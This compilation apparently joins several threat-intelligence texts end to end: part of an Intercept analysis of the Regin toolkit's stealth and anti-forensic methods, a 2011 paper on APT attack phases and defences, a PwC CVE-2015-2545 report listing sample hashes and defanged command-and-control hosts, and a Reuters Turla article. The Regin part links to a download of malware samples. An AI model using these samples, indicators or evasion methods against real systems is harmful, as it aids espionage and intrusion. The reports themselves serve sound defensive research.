Atab1 http://www.microsoft.com/security/portal/threat/encyclopedia/entry.aspx?NameTrojan3AWinNT2FRegin.genB http://www.microsoft.com/security/portal/threat/encyclopedia/Entry.aspx?NameTrojan3AWinNT2FRegin.genC Mimicking Microsoft drivers allows the loaders to better disguise their presence on the system and appear less suspicious to host intrusion detection systems.
Second stage loader When launched, it cleans traces of the initial loader, loads the next part of the toolkit and monitors its execution.
On failure, Stage 2 is able to disinfect the compromised device.
The malware zeroes out its PE (Portable Executable, the Windows executable format) headers in memory, replacing MZ with its own magic marker 0xfedcbafe.
Orchestrator This component consists of a service orchestrator working in Windows kernel.
It initializes the core components of the architecture and loads the next parts of the malware.
Information Harvesters This stage is composed of a service orchestrator located in user land, provided with many modules which are loaded dynamically as needed.
These modules can include data collectors, a self-defense engine which detects if attempts to detect the toolkit occur, functionality for encrypted communications, network capture programs, and remote controllers of different kinds.
Stealth Implant The Intercepts investigation revealed a sample uploaded on VirusTotal on March 14th 2012 that presents the unique 0xfedcbafe header, which is a sign that it might have been loaded by a Regin driver and it appears to provide stealth functionality for the tool kit.
This picture shows the very first bytes of the sample in question, showing the unique 0xfedcbafe header at the beginning.
In order to access information stored in the computers memory, programs use objects that reference specific locations in memory called pointers.
This binary file contains some of such pointers initialized, which corroborates the hypothesis that the file was dumped from memory during a forensic analysis of a compromised system.
The sample has the following SHA256 hash: fe1419e9dde6d479bd7cda27edd39fafdab2668d498931931a2769b370727129 This sample gives a sense of the sophistication of the actors and the length of the precautions they have been taking in order to operate as stealthily as possible.
When a Windows kernel driver needs to allocate memory to store some type of data, it creates so called kernel pools.
Such memory allocations have specific headers and tags that are used to identify the type of objects contained within the block.
For example such tags could be Proc, Thrd or File, which respectively indicate that the given block would contain a process, thread or file object structure.
When performing forensic analysis of a computers memory, it is common to use a technique called pool scanning to parse the kernel memory, enumerate such kernel pools, identify the type of content and extract it.
Just like Regin loader drivers, this driver repeatedly uses the generic Ddk  tag with ExAllocatePoolWithTag() when allocating all kernel pools: This picture shows the use of the ddk  tag when allocating memory with the Windows ExAllocatePoolWIthTag() function.
The generic tag which is used throughout the operating system when a proper tag is not specified.
This makes it more difficult for forensic analysts to find any useful information when doing pool scanning, since all its memory allocations will mix with many generic others.
In addition, when freeing memory using ExFreePool(), the driver zeroes the content, probably to avoid leaving traces in pool memory.
The driver also contains routines to check for specific builds of the Windows kernel in use, including very old versions such as for Windows NT4 Terminal Server and Windows 2000, and then adapts its behavior accordingly.
Windows kernel drivers operate on different levels of priority, from the lowest PASSIVE_LEVEL to the highest HIGH_LEVEL.
This level is used by the processor to know what service give execution priority to and to make sure that the system doesnt try to allocate used resources which could result in a crash.
This Regin driver recurrently checks that the current IRQL (Interrupt Request Level) is set to PASSIVE_LEVEL using the KeGetCurrentIrql() function in many parts of the code, probably in order to operate as silently as possible and to prevent possible IRQL confusion.
This technique is another example of the level of precaution the developers took while designing this malware framework.
Upon execution of the unload routine (located at 0xFDEFA04A), the driver performs a long sequence of steps to remove remaining traces and artifacts.
Belgacom Sample In an interview given to the Belgian magazine MondiaalNiews, Fabrice Clment, head of security of Belgacom, said that the company first identified the attack on June 21, 2013.
In the same interview Clment says that the computers targeted by the attackers included staff workstations as well as email servers.
These statements confirm the timing and techniques used in the attack.
From previously identified Regin samples, The Intercept developed unique signatures which could identify this toolkit.
A zip archive with a sample identified as Regin/Prax was found in VirusTotal, a free, online website which allows people to submit files to be scanned by several anti-virus products.
The zip archive was submitted on 2013-06-21 07:58:37 UTC from Belgium, the date identified by Clment.
Sources familiar with the Belgacom intrusion told The Intercept that this sample was uploaded by a systems administrator at the company, who discovered the malware and uploaded it in an attempt to research what type of malware it was.
The archive contains: http://www.mo.be/interview/belgacom-blikt-terug-op-spionage-affaire https://www.virustotal.com/en/file/4d6cebe37861ace885aa00046e2769b500084cc79750d2bf8c1e290a1c42aaff/analysis/ Along with other files The Intercept found the output of a forensic tool, GetThis, which is being run on target systems looking for malware.
From the content of the GetThis.log file, we can see that a sample called svcsstat.exe and located in C:\Windows\System32\ was collected and a copy of it was stored.
The malware in question is 0001000000000C1C_svcsstat.exe_sample .
This is a 64bit variant of the first stage Regin loader aforementioned.
The archive also contains the output of ProcMon, Process Monitor, a system monitoring tool distributed by Microsoft and commonly used in forensics and intrusion analysis.
This file identifies the infected system and provides a variety of interesting information about the network.
For instance: USERDNSDOMAINBGC.NET USERDOMAINBELGACOM USERNAMEid051897a USERPROFILEC:\Users\id051897a The following environment variable shows that the system was provided with a Microsoft SQL server and a Microsoft Exchange server, indicating that it might one of the compromised corporate mail server Fabrice Clment mentioned to Mondiaal News: PathC:\Program Files\Legato\nsr\binC:\Windows\system32C:\WindowsC:\Windows\System32\WbemC:\Windows\System32\WindowsPowerShell\v1.0\C:\Program Files\Microsoft Network Monitor 3\C:\Program Files\System Center Operations Manager 2007\c:\Program Files (x86)\Microsoft SQL Server\90\Tools\binn\D:\Program Files\Microsoft\Exchange Server\bin Below is a list of hashes for the files The Intercept is making available for download.
Given that that it has been over a year since the Belgacom operation was publicly outed, The Intercept considers it likely that the GCHQ/NSA has replaced their toolkit and no current operations will be affected by the publication of these samples.
Regin Samples 32-bit Loaders 20831e820af5f41353b5afab659f2ad42ec6df5d9692448872f3ed8bbb40ab92 7553d4a5914af58b23a9e0ce6a262cd230ed8bb2c30da3d42d26b295f9144ab7 f89549fc84a8d0f8617841c6aa4bb1678ea2b6081c1f7f74ab1aebd4db4176e4 fd92fd7d0f925ccc0b4cbb6b402e8b99b64fa6a4636d985d78e5507bd4cfecef 225e9596de85ca7b1025d6e444f6a01aa6507feef213f4d2e20da9e7d5d8e430 9cd5127ef31da0e8a4e36292f2af5a9ec1de3b294da367d7c05786fe2d5de44f b12c7d57507286bbbe36d7acf9b34c22c96606ffd904e3c23008399a4a50c047 f1d903251db466d35533c28e3c032b7212aa43c8d64ddf8c5521b43031e69e1e 4e39bc95e35323ab586d740725a1c8cbcde01fe453f7c4cac7cced9a26e42cc9 a0d82c3730bc41e267711480c8009883d1412b68977ab175421eabc34e4ef355 a7493fac96345a989b1a03772444075754a2ef11daa22a7600466adc1f69a669 5001793790939009355ba841610412e0f8d60ef5461f2ea272ccf4fd4c83b823 a6603f27c42648a857b8a1cbf301ed4f0877be75627f6bbe99c0bfd9dc4adb35 8d7be9ed64811ea7986d788a75cbc4ca166702c6ff68c33873270d7c6597f5db 40c46bcab9acc0d6d235491c01a66d4c6f35d884c19c6f410901af6d1e33513b df77132b5c192bd8d2d26b1ebb19853cf03b01d38afd5d382ce77e0d7219c18c 7d38eb24cf5644e090e45d5efa923aff0e69a600fb0ab627e8929bb485243926 a7e3ad8ea7edf1ca10b0e5b0d976675c3016e5933219f97e94900dea0d470abe a0e3c52a2c99c39b70155a9115a6c74ea79f8a68111190faa45a8fd1e50f8880 d42300fea6eddcb2f65ffec9e179e46d87d91affad55510279ecbb0250d7fdff 5c81cf8262f9a8b0e100d2a220f7119e54edfc10c4fb906ab7848a015cd12d90 b755ed82c908d92043d4ec3723611c6c5a7c162e78ac8065eb77993447368fce c0cf8e008fbfa0cb2c61d968057b4a077d62f64d7320769982d28107db370513 cca1850725f278587845cd19cbdf3dceb6f65790d11df950f17c5ff6beb18601 ecd7de3387b64b7dab9a7fb52e8aa65cb7ec9193f8eac6a7d79407a6a932ef69 e1ba03a10a40aab909b2ba58dcdfd378b4d264f1f4a554b669797bbb8c8ac902 https://s3.amazonaws.com/tiregin/regin.zip 392f32241cd3448c7a435935f2ff0d2cdc609dda81dd4946b1c977d25134e96e 9ddbe7e77cb5616025b92814d68adfc9c3e076dddbe29de6eb73701a172c3379 8389b0d3fb28a5f525742ca2bf80a81cf264c806f99ef684052439d6856bc7e7 32-bit Rootkit fe1419e9dde6d479bd7cda27edd39fafdab2668d498931931a2769b370727129 32-bit Orchestrator e420d0cf7a7983f78f5a15e6cb460e93c7603683ae6c41b27bf7f2fa34b2d935 4139149552b0322f2c5c993abccc0f0d1b38db4476189a9f9901ac0d57a656be 64-bit Loader (Belgacom) 4d6cebe37861ace885aa00046e2769b500084cc79750d2bf8c1e290a1c42aaff Photo credit: Winfried Rothermel/AP
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Advanced Persistent Threats: A Decade in Review Command Five Pty Ltd June 2011 ABSTRACT This document defines the term Advanced Persistent Threat (APT) in the context of cyber threats and cyber attack.
Itpresents a timeline and summary of prominent cyber attacks likely attributable to APTs over the past decade.
Commonalities are identified and assessed in the context of the current cyber threat environment.
Trends are used to predictfuture APT targeting.
APT attack methodologyisdiscussed, and, in conclusion, a setof securitypractices and policies are provided that couldhelpmanyorganisations increase their resilience to APT attack.
DEFINITION When the termAdvancedPersistentThreat(APT) is usedin the contextof cyber threats (or cyber attack) eachcomponent ofthe term isrelevant.
Advanced The hacker has the ability to evade detection and the capability to gain and maintain access to well protected networks and sensitive information contained within them.
The hacker is generally adaptive andwell resourced.
Persistent The persistent nature of the threatmakes it difficult to prevent access to your computer network and, once the threatactor has successfullygainedaccess toyour network, verydifficulttoremove.
Threat The hacker has not only the intent but also the capability to gain access to sensitive information storedelectronically.
ADVANCED PERSISTENTTHREATS Advanced Persistent Threats (APTs) are a well resourced, highly capable and relentless class of hacker increasingly referred to in the media, by IT security companies, victims, and law enforcement.
Mosthackers target indiscriminatelyand instead of persisting with a particular target draw their focus tomore vulnerable targets.
APTs on the other hand are not only well resourced and capable but persistent in their covert attempts to access sensitive information, such as intellectual property, negotiation strategies or political dynamite, from their chosen targets.
The sophistication of APT intrusion attempts varies and likely depends on the attackers objectives, the tools and techniques available to them,andthe anticipatedabilityof their targetboth todetectand defend againstan attack.
The activity conducted by APTs is not necessarily sophisticated but the attacker has the ability to upgrade their sophistication in order to gain or maintain access to computer systems of interest.
The level of covertness employedmaydependon factors suchas the anticipated ability of the target to detect the OF13 COPYRIGHT COMMAND FIVE PTYLTD.
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activity, the anticipated response of the target shouldthe targeting be detected,the level of risk the hacker iswillingtoaccept,their timeframe to obtain the desired information and the effects on their longer termgoals.
The term APT iscommonlyusedin reference to the cyber threat posed by foreign intelligence services, or hackers working on behalf of such entities,butisnotlimitedjusttothis andcan equally be applied to other threatactors such as organised crime syndicates and those involved in traditional espionage.
Even though some organised crime syndicates are verywell resourcedandcapable,they are notusuallyclassedas an APT since theyare less likely to persist with attempted access to a particular target.
The term is not usually used to refer tothe threatposedby an individual hacker as theyrarelyhave a sufficientlevel of resourcing.
APTs often target unpublicised vulnerabilities in computer programs or operating systems using zero day exploits1.
Typically only wellresourced hackers develop such exploits as they are expensive2,timeconsuming3,andthe vulnerabilities they target may be patched prior to deployment affecting the value of the investment.
In addition, zerodayexploitsare exposedthe firsttime theyare usedand, if detected, may be less effective in future attacks.
As such, zero day exploits are usually only deployed when the hacker has determined that other exploits (that take advantage of publicly known vulnerabilities) will not work on the target, or are not expected to work within an acceptable timeframe.
Increaseduse of a zeroday exploitmay alsobe observed if the hacker believes their exploit has been detectedor the vulnerabilityitexposes has become known.
This behaviour reflects a desire to maximise the return on their investmentbefore the relevant vulnerability is patched.
Zero day exploits are commonly used in combination with social engineering techniques, to exploit vulnerabilities in human nature and make the targeting more effective.
Social engineering techniques are also 1 A zero day exploit is a computer attack capability that takes advantage of a software flaw before it is known to the public or patched by the vendor, that is, before the first day of public awareness of the flaw on the zeroth day.
2 On the blackmarket zero day exploitscan be worthhundredsof thousands or possibly even millions of dollars.
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Moyanhan, 2011) 3 Developing a zero day exploit can take up to several months even from the most expert hackers.
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Borders, 2007) often used to increase the effectiveness of exploits thattargetknown,butunpatched,vulnerabilities.
VICTIM REPORTING Many of the organisations targeted by APTs are likely unaware they are among the victims.
Those that are aware of attacks against them may not publiclydisclose the factdue toconcerns abouttheir reputation or share price.
Public reports of APT attacks date back to at least 1998, when the Pentagon, National Aeronautics and Space Administration (NASA), the United States (US) Energy Department, research laboratories and private universities were targeted.
The past year (2010/2011) has seen an increase in the number of organisations coming forward, admitting they have been targeted.
It has also seen an increase in US Securities and Exchange Commission filings warning shareholders aboutthe risks ofcyber attack.
The majority of companies that have come forward and admitted they are among the victims have not been forthcoming with the details.
This is presumablybecause theydo notwanttoprovide the hackers with feedback, or cause further embarrassment to their organisation.
It is unfortunate that such potential negative ramifications ofdetailedreportingare often seen to outweigh the community benefit of sharing lessons learned.
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TIMELINE OFSIGNIFICANTATTACKS Through examination of media reports and public announcements a timeline of significant cyber attacks likely attributable toAPTs can be drawn as in Figure 1.
In several cases a single operation is named to refer to a set of similar intrusions, or intrusion attempts,affecting numerous targets.
FIGURE 1  TIMELINE OF APT ATTACKS SUMMARY OFSIGNIFICANTATTACKS March19982000  Moonlight Maze Cyber attacks dubbed Moonlight Maze targeted computers at the Pentagon, NASA, the US Energy Department, research laboratories and private universities.
The attackers successfully gained access to tens of thousands of files.
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Arquila,2003) (Central Intelligence Agency, 2007) August 20062007  USCongressmen The office computer networks of two congressmen were reportedly compromised.
Information is believedtohave been stolen aboutdissidents critical ofthe Beijingregime.
(The Washington Times,2008) 29 October 2007  Oak RidgeNationalLaboratory Oak Ridge National Laboratory was successfully targeted usingemails thatwere sociallyengineered to appear as though they were legitimate official communications.
Computers were compromised, as was a database which contained information about visitors to the facility.
The hackers are believed to have stolen data from the database.
(
Oak Ridge National Laboratory,2007) 9November2007  LosAlamosNational Laboratory Los Alamos National Laboratory advised all employees of a recent malicious hacking event that affected a small number of computers on the laboratorys unclassified Yellow network.
A significant amount of unclassified data was stolen.
The attack isbelieved to have been part of a broader, coordinated attack against USlaboratories andother institutions.
(
Anastasio, 2007) (Snodgrass, 2007) (Goodin, 2007) Early 2008  US Department of Defense The US Department of Defense suffered a significant compromise of both unclassified and classified military computer networks after a foreign intelligence agency placed malicious software on a USB flash drive.
The device infected a US military laptop upon insertion.
The malicious code then propagated through US networks infecting numerous computers.
(
Lynn III,2010) 2011 FrenchGovernment(contd.)
Canadian Government AustralianGovernment ComodoAffiliated RootAuthority RSA OakRidgeNationalLaboratory L3Communications LockheedMartin Northrop Grumman InternationalMonetary Fund 2010 Stuxnet(contd.)
AustralianResource Sector FrenchGovernment 2009 GhostNet Stuxnet NightDragon OperationAurora 2008 USDepartmentofDefense Office ofHisHoliness theDalaiLama 2007 USCongressmen (contd.)
OakRidgeNationalLaboratory LosAlamos NationalLaboratory 2006 USCongressmen 1998-2000 MoonlightMaze OF13 COPYRIGHT COMMAND FIVE PTYLTD.
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September 2008  Office of His Holiness theDalai Lama A legitimate email was intercepted in transit to the Office ofHisHoliness the DalaiLama (OHHDL) and the attachment replaced with a file containing malicious content.
This attack appeared to be part of a concerted effort in which hackers used social engineeringtechniques togain access tothe OHHDL computer network.
The hackers appear to have obtaineduser passwords through the intrusion and later usedthese toremotely access the OHHDL mail server.
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Nagaraja  Anderson,2009) 29 March2009  GhostNet Researchers released a report detailing a cyber espionage operation dubbed GhostNet which infiltrated atleast1295computers in 103countries, including those belongingto embassies, South Asian governments and the DalaiLama.
(Secdev,2009) June 2009  Stuxnet First known targeting of an unnamed organisation occurredusingthe Stuxnet4 worm.
The organisation was again targeted in March and April 2010.
Numerous other organisations, primarily in Iran, were alsotargeted.
The wormappears to have been partofa coordinated effort to reprograma specific industrial control system, such as a gas pipeline or power plant, likely located in Iran.
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Farlliere, O Muchu,  Chien, 2011) (U.S Office of Counterintelligence,2011) November2009 Night Dragon Starting in November, coordinated covert and targetedcyber attacks were observedagainstglobal oil and petrochemical companies.
These attacks, labelled as NightDragon, used socially engineered emails along with Microsoft Windows operating system vulnerabilities to gain access to computers.
Using the access obtained the hackers accessed information on operational oil and gas field production systems and financial documents relating to field exploration and bidding.
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McAfee Foundation Professional Services and McAfee Labs, 2011) 4 The Stuxnet worm isa malicious computer program capable of replicatingitself to infect multiple linkedcomputer systems.
Mid December2009  Operation Aurora Google detecteda highlysophisticated andtargeted attack on Google corporate infrastructure that resulted in the theft of intellectual property.
This eventisbelievedtohave been partofa coordinated attack, known as Operation Aurora, in which hackers sought source code from Google, Adobe Systems anddozens ofother high profile companies.
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Drummond, 2010) (Zetter, 2010) 2010 Australian ResourceSector Three major Australian resource sector companies (BHPBilliton, Fortescue Metals GroupandRio Tinto) were targeted by cyber attacks.
Targeting of Rio Tintos computer network occurredaroundthe time ofthe arrest ofStern Hu in July2010.
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AAP,2010) December 2010March 2011  FrenchGovernment The French Government was successfully targeted by a socially engineered email campaign.
Over 150 computers in the French Ministry of Economy and Finances Central Services division were compromised.
The hackers were able to remotely control the ministrys computers and retrieve documents for over three months.
The hackers soughtdocuments relatedto the Frenchpresidency ofthe G20 andinternational economic affairs.
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Walid Berissoul etagencies,2011) (AFP,2011) January2011  Canadian Government Canadian Government departments were targeted usingemails sociallyengineered to appear as though theywere sent from senior staff members within the departments.
The emails contained malicious attachments that compromised Canadian Government computers and resulted in the theft of classifiedinformation.
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Postmedia News, 2011) FebruaryMarch2011  Australian Government Australian parliamentary computers were accessed over a periodofatleast one month.
During thattime several thousand emails may have been accessed including those of the Australian Prime Minister, Foreign Minister and Defence Minister.
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15 March2011  Comodo Affiliated RootAuthority A Comodo affiliateddigital certificate RootAuthority (RA) was compromised resulting in the issue of fraudulentSSL certificates for the popular domains: mail.google.com, www.google.com, login.yahoo.com, login.skype.com, addons.mozilla.org, login.live.com andglobal trustee.
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Comodo, 2011) 17 March2011  RSA RSA released a public statement advising that they were recently targeted via socially engineered emails containing malicious attachments that exploited a zero day Adobe Flash vulnerability.
Hackers successfully gained access to the network andexfiltratedinformation includingthatrelatedto RSAs SecurID twofactor authentication products.
The stolen information was later used to enable targeting of defence contractors.
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Coviello, Open Letter toRSACustomers,2011) Mid April 2011  Oak RidgeNationalLaboratory Oak Ridge National Laboratory was targeted with socially engineered emails tailored to appear as though they were from the laboratorys Human Resources department.
The emails tricked recipients intodownloading malicious software thatexploited a zero day vulnerability in Internet Explorer.
The laboratory shut down all internet access and email systems fromApril 15 toApril 17toensure nodata was exfiltrated before the infection couldbe cleaned up.
No large scale exfiltration of data is known to have occurred.
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Munger, 2011) 6April2011  L3Communications An L3 Communications executive notified employees that the company had been actively targeted leveraging information stolen from RSAthe month prior.
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gHale,2011) (Poulsen, 2011) 21 May2011  Lockheed Martin Lockheed Martin detected a cyber attack on its computer network.
The companys information securityteam took aggressive actions toprotect the systems.
No exfiltration of data is known to have occurred.
RSA has publicly stated that information stolen from it in March was used as an element of the attack on Lockheed Martin.
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Lockheed Martin Corporation, 2011) (Coviello, Open Letter to RSA SecurID Customers, 2011) 26 May2011  Northrop Grumman Northrop Grumman reportedly shut down remote access to its network without warning and conducted an organisation wide password reset, raising speculation that it had also been targeted usinginformation stolen fromRSA.
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Kaplan, 2011) MayJune2011  InternationalMonetary Fund At least one International Monetary Fund (IMF) computer was compromised in a large and sophisticated cyber attack that involved significant reconnaissance and utilised software written specifically to target the IMF.
The compromised computer was used to access internal systems and files.
The hackers access could have given them visibility of sensitive economic and political information.
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Reddy,Gorman,Perez,2011Sanger Markoff, 2011) (The Guardian,2011) OF13 COPYRIGHT COMMAND FIVE PTYLTD.
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THE CURRENTCYBER THREAT ENVIRONMENT APTs have targetedgovernments around the world, global oil,energy,andpetrochemical companies, the mining sector, financial institutions, military contractors, the science and technology sector, dissidents, critical infrastructure and likely many additional sectors.
They have also targeted technology companies that could enable future targeting.
The Operation Aurora attacks,the Comodo affiliated RA compromise and the RSA attack set a precedent for suchtargeting.
The Aurora attacks appear tohave been carried out to provide the attacker with source code and other information that may allow them to develop zero day exploits and rootkits5 for use on their targets.
The certificates generated in the Root Authority attack would likely be of use for future statedriven attacks (despite a lone Iranian individual claiming full responsibility for the attack, and stating that there was no government involvement (Kobie, 2011)).
The attack againstRSA appears to have been conductedtogather sensitive information to facilitate attacks against organisations that use RSA security tokens for two factor authentication including US defence contractors who work on classifiedprojects.
Based on the trend toward the targeting of enabling companies and the increasing popularity of virtualisation, VMware Inc. and other virtualisation companies seem likely to be among companies targeted by APTs in the future.
If unknown vulnerabilities in VMware software were discovered itcouldhave far reaching ramifications, affecting the security of other companies.
Especially given the increasedpopularityofcloudcomputingwhichoften uses virtualisation to separate data belonging to different customers.
It couldalsomake iteasier for malicious software to escape from virtualised analysisplatforms and infect connectedsystems.
Even though details ofAPT attacks are scarce in the media, the released information is quite informative.
Firstly,ittells us thathumans are often the weakest link in the securitychain and thatusers need to be better educatedon the threat from social engineering.
Socially engineered email campaigns 5 Rootkits consist of software designed to hide an attackers presence on a computer system.
They can change the way maliciousprograms are seen by the operating system, making it blindto the presence of the malicious programs.
are the most common social engineering technique used but not the only one.
Secondly, it tells us technology companies need tobe better prepared to protect sensitive information that can be used to negativelyaffectthe securityoftheir customers and business partners, and undermine the security safeguardsputin place.
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TARGET TARGETINGMETHODS SOCIAL ENGINEERING?
ZERODAYS?
DATASTOLEN?
CONFIRMEDBYTARGET?
OAKRIDGENATIONAL LABORATORY Socially engineeredemails Yes Yes (2011) Yes Yes LOS ALAMOS NATIONAL LABORATORIES Socially engineeredemails Yes Yes Yes GHOSTNET (VARIOUSTARGETS) Socially engineeredemails (primarily) Yes Yes Some targets US DEPARTMENTOF DEFENSE InfectedUSB drive Yes Yes STUXNET InfectedUSB drive Networkshares SQLdatabases Yes (multiple) Some targets NIGHTDRAGON (VARIOUSTARGETS) Socially engineeredemails (primarily) Yes Yes Some targets GOOGLE Socially engineeredemails Yes Yes Yes Yes OPERATION AURORA (VARIOUSTARGETS) Socially engineeredemails Yes Yes Yes Some targets THEFRENCHFINANCE MINISTRY Socially engineeredemails Yes Yes Yes CANADIAN GOVERNMENT Socially engineeredemails Yes Yes Yes AUSTRALIAN GOVERNMENT Yes No COMODOAFFILIATE ROOTAUTHORITY Yes Yes RSA Socially engineeredemails Yes Yes Yes Yes LOCKHEED MARTIN VPN?
No No Yes L3 COMMUNICATIONS VPN?
No No NORTHROP GRUMMAN VPN?
No No INTERNATIONAL MONETARY FUND Yes Yes FIGURE 2  COMMONALITIES BETWEEN REPORTED ATTACKS OF13 COPYRIGHT COMMAND FIVE PTYLTD.
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ANATOMY OF AN ATTACK Figure 2 shows us that the most common attack vector observed is socially engineered emails frequently,butnotalways,usedin combination with zero dayexploits.
While mostvictimsdonot provide many details aboutthe attacks againstthem,RSA6 is one of the few that has provided quite detailed information.
The attack methodology observed in the case of RSA appears to be quite typical.
The distinctattack phases are shown in simplified form in Figure 3.
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Rivner,2011) FIGURE 3  BASIC APT ATTACK METHODOLOGY Reconnaissance The attacker passively gathers information about their target to identify the best targeting method.
This may include research into the location of the targets offices, the location of their computers, technologies used by the company, how they communicate (between offices, with customers, suppliers and shareholders), their employees, their employees contactdetails,interests andcontacts.
Preparation The attacker actively prepares for the attack, developing and testing appropriate tools and 6 The attackon RSA isdescribedin a blogpost on the officialRSA blogsite see http://blogs.rsa.com/rivner/anatomyofanattack/ techniques totargettheir intended victim.
Thismay include scanning to determine vulnerabilities, writing malicious code or acquiring code, drafting sociallyengineeredemails,determiningwhichemail account to send socially engineered emails from, acquiring necessary hardware (such as USB flash drives), determining what infrastructure to use to launch the attack and for command and control communications, registering for and setting up necessary accounts (email addresses, callback domains etc.)
andconductingtesting.
Targeting The attacker launches their attack andmonitors for signs of compromise or failure.
The sender may attempttoconnectremotelytoa server toexploita vulnerability, strategicallyplace a USB flash drive or give one to a target, send sociallyengineered emails and ifpossible, check for bounce back notifications, monitor command and control infrastructure for beaconing activity from the victim, try to connect inbound to the potentially compromised computer, or await feedback froman insider.
Further Access Once an attacker has successfullygainedaccess toa computer network they will usually try to identify where in the network they are and move laterally within the network toaccess data ofinterestandto install additional backdoors.
This will usually require a return to step 2 (Preparation) andstep 3 (Targeting), the upload of tools and malicious software,privilege escalation,network enumeration and identification of vulnerable hosts on which to install backdoors.
Itmayalsoinvolve gainingaccess tothe domain controller toobtain password hashes, covering tracks by altering logs, andaccessingmail or file servers toenable data gathering.
DataGathering Once an attacker has identified information of interestthey will try togather this information and exfiltrate it.
They may do this using a smash and grab approach, trying to exfiltrate the desireddata before itis detected, or theymayoptfor a lowand slow approach in which they exfiltrate the data in small quantities over a longer period.
Reconnaisance Preparation Targeting Further Access DataGathering Maintenance OF13 COPYRIGHT COMMAND FIVE PTYLTD.
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Maintenance Once an attacker has gained access toa network for information gathering purposes they will usually attempt to maintain their access.
This may involve minimising the amount of malicious activity they generate on the network to avoid detection, periodically communicating with backdoors on the network to ensure they are working as intended, and making changes as appropriate.
If automated data gathering tools are in use, it may also involve modifying search terms or the exfiltration path, volume or frequency.
Maintenance also requires maintaining callback domains andanyintermediary infrastructure used to communicate with the backdoors.
Ifaccess is lost, the attacker mayreturn to step 1 (Reconnaissance) or step 2 (Preparation) in an attempt toregain access.
IMPROVING ORGANISATIONAL RESILIENCE To improve resilience toAPTsorganisations should employ good security practices and policies includingthose described below.
Information CentricSecurity Adopt an information centric approach to security byapplyingmultiple layers of security,affordingthe most sensitive information the most protection.
If possible store sensitive information offline, or on a separate restricted access network.
Regular Patching Regularlypatchoperatingsystems andapplications including document viewers (e.g.
Microsoft Office, Adobe Acrobat)and web browser plugins.
Computer Administration Restrictions Minimise administrative access and restrict access so users do not possess both write and execute privileges for the same folder.
User Education Educate users on the threatfrom sociallyengineered emails and other forms of social engineering.
Encourage users to notify IT staff of suspicious events.
NetworkAccess Restrictions Restrict which computers can be placed on the corporate network via wired, wireless, and remote access methods.
Known Network Topology Ensure system administrators are aware of the location of all computers, computer equipment and Internet gateways so they can secure the network (including wireless access points and 3G USB modems).
USB DriveControl Restrict which USB drives can be used on corporate networks and develop policies on permitted usage andminimumencryption requirements.
Intrusion Analysis Conduct intrusion analysis (both hostbased and network based)to detect anomalous activity.
Access Control Employ twofactor authentication where possible, particularly on Virtual Private Networks.
Restrict user access using least privilege methodology, encourage good password control, regularly audit access logs,andreview access levels.
Sender PolicyFramework Employ the Sender Policy Framework 7 to help protectagainst spoofedemails.
7 The Sender Policy Framework isan open standardspecifyinga technical method to prevent sender address forgery.
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Exploring CVE-2015-2545 and its users 06 May 2016 By Pierre Montagnier and Tom Lancaster Executive Summary This report, available at TLP:GREEN to researchers and network defenders, gives an overview of different attacks using CVE-2015-2545.
Specifically we look at the different ways attackers are triggering the vulnerability, and the possibility that the exploit is shared amongst various groups.
Based on overlaps in the samples analysed, our findings show that there are several clusters of documents, with the majority of the document-based builders sharing similar constructs in terms of how the final payload is discovered and executed.
We also found that more recently some attackers are triggering the vulnerability through the use of MHTML files with .doc extensions.
Background Back in November 2015, FireEye published a report titled Two For One[1] detailing two new zero days, one affecting Microsoft (MS) Word and the other affecting the Windows operating system.
Our report focuses on the former, CVE 2015-2545.
The vulnerability stems from a flaw in the processing of Encapsulated PostScript (EPS) files and allows an attacker to execute arbitrary code.
We have been tracking samples exploiting this vulnerability as well as tracking the associated malware, much of which has been already discussed in public reporting.
Figure 1: Examples of decoy documents used in conjunction with the exploit The report summarises our findings based on samples collected in 2016, and explores similarities and differences in the shellcode between different documents exploiting this vulnerability.
To request your copy, e-mail threatintelligenceuk.pwc.com - note this is not for lead generation purposes, but is rather to avoid disclosing to adversaries how their attacks can be linked.
The samples analysed  their command  control addresses are given below: Samples (initial MD5s): 3fe0cbedec6969803a72b8c76a4a0a03 50064d33625970a8145add7e3e242fe3 6a6a8cb2e59439891e53b04024573d37 e1b4a5a565fdfcec52346d3b6063c587 9b6af5f8878a3fde32a3e8ff3cf98906 6d55eb3ced35c7479f67167d84bf15f0 21bb2d447247fd81c42d4262de36adb6 375e51a989525cfec8296faaffdefa35 445886e6187cb36ee33ef7e27b7d5dbe f4c1e96717c82b14ca76384cb005fbe5 aae962611da956a26a76d185455f1d44 c591263d56b57dfadd06a68dd9657343 03a537ff04deaf2c30b23122d795fee2 a4144b9bc99ab39d16c8125a19382316 bfc4133a64a8a8a53c02f9d471c79c16 07614906c9b0ed9cfae07306c32555b9 e63896f2dfcc2ee2173944ef16ddc131 805a522481056441e881c46c69b808f6 c48521d427f40148ee6e5a953ea23622 ebc3f26c0bfc473c840c9e4f3393671d 238ca1ab29f191b767837748fb655c8e 2689515f0bbdf4f3fd4448d0fdc9f2a7 f89c4fb64edc993604d53e5fad6585d4 e95f65bfe3e54d58dcbef3275d0c3f49 e61211931319ece42ec4755a6f6fc815 b49de68758f2c1c2f7dfe60fe67d1516 d0533874d7255b881187e842e747c268 e560dfba68e5bd9a84aeb7b79c9b11ea edde511d4872c4b2551e7ad22e746fb6 40fdca3c932b12b6740cea1266021c6e 07614906c9b0ed9cfae07306c32555b9 03726d30ebffaf5455a932dee69ce6e7 03726d30ebffaf5455a932dee69ce6e7 07614906c9b0ed9cfae07306c32555b9 C2s: sent[.]leeh0m[.
]org found[.]leeh0m[.
]org 64[.]62[.]238[.
]73 newsupdate.dynssl[.
]com 121[.]127[.]249[.
]74 carwiseplot[.]no-ip[.
]org goback[.]strangled[.
]net win7_8d90f[.]dns04[.
]com 37[.]10[.]71[.
]35 www[.]kashiwa-js[.
]com 78[.]128[.]92[.
]49 news[.]rinpocheinfo[.
]com 59[.]188[.]13[.
]204 coffeol[.
]com updo[.
]nl [1] https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/twoforonefinal.pdf
Print This copy is for your personal, non-commercial use only.
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Suspected Russian spyware Turla targets Europe, United States 2:45pm EST By Peter Apps and Jim Finkle LONDON/BOSTON (Reuters) - A sophisticated piece of spyware has been quietly infecting hundreds of government computers across Europe and the United States in one of the most complex cyber espionage programs uncovered to date.
Several security researchers and Western intelligence officers say they believe the malware, widely known as Turla, is the work of the Russian government and linked to the same software used to launch a massive breach on the U.S. military uncovered in 2008.
It was also linked to a previously known, massive global cyber spying operation dubbed Red October targeting diplomatic, military and nuclear research networks.
Those assessments were based on analysis of tactics employed by hackers, along with technical indicators and the victims they targeted.
